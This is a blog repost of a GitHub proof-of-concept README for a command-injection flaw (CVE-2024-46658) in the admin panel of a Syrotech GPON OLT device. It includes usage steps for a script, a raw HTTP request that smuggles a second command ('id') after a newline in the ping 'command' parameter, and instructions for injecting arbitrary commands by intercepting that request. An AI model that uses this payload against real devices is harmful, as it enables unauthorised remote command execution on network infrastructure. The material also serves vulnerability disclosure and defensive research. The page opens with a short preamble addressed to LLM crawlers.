> ## Content Index
> Fetch the complete content index at: https://darkwebinformer.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# PoC CVE-2024-46658 - Syrotech SY-GOPON-8OLT-L3 v1.6.0_240629
- URL: https://darkwebinformer.com/poc-cve-2024-46658-syrotech-sy-gopon-8olt-l3-v1-6-0_240629/
- Published: 2024-10-03T19:25:17.000Z
- Updated: 2025-09-04T22:26:12.000Z
- Author: Dark Web Informer
- Tags: Vulnerabilities, Tools

GitHub:<https://github.com/jackalkarlos/CVE-2024-46658>  
Last Commit: October 3rd, 2024

---

[](https://github.com/jackalkarlos/CVE-2024-46658#cve-2024-46658)

Syrotech SY-GOPON-8OLT-L3 v1.6.0\_240629 Command Injection Vulnerability

# Usage

[](https://github.com/jackalkarlos/CVE-2024-46658#usage)

1- Edit the URL in the script.

2- Edit the Cookie\_Login value in the script.

3- Run the script, it will allow you to executing commands.

# Vulnerability Details

[](https://github.com/jackalkarlos/CVE-2024-46658#vulnerability-details)

GET /cgi/home.php?fun=system&page=shellCMDExec&isajax=1&runtab=1&cmdExec=1&command=ping%208.8.8.8%20-c%204%0aid&random=1725991418844 HTTP/1.1

Normally, only the ping command is allowed to be executed in the administration panel.

![](https://storage.ghost.io/c/6b/16/6b16ac9c-cd67-432f-b0f3-bbec941084ff/content/images/2024/10/43873.png)

If you intercept the request with a proxy, add a new line byte to the end of the command parameter and type the command you want to run, it will allow you to run another command.

![](https://storage.ghost.io/c/6b/16/6b16ac9c-cd67-432f-b0f3-bbec941084ff/content/images/2024/10/984984.png)

# Authors

[](https://github.com/jackalkarlos/CVE-2024-46658#authors)

Mehmet Demir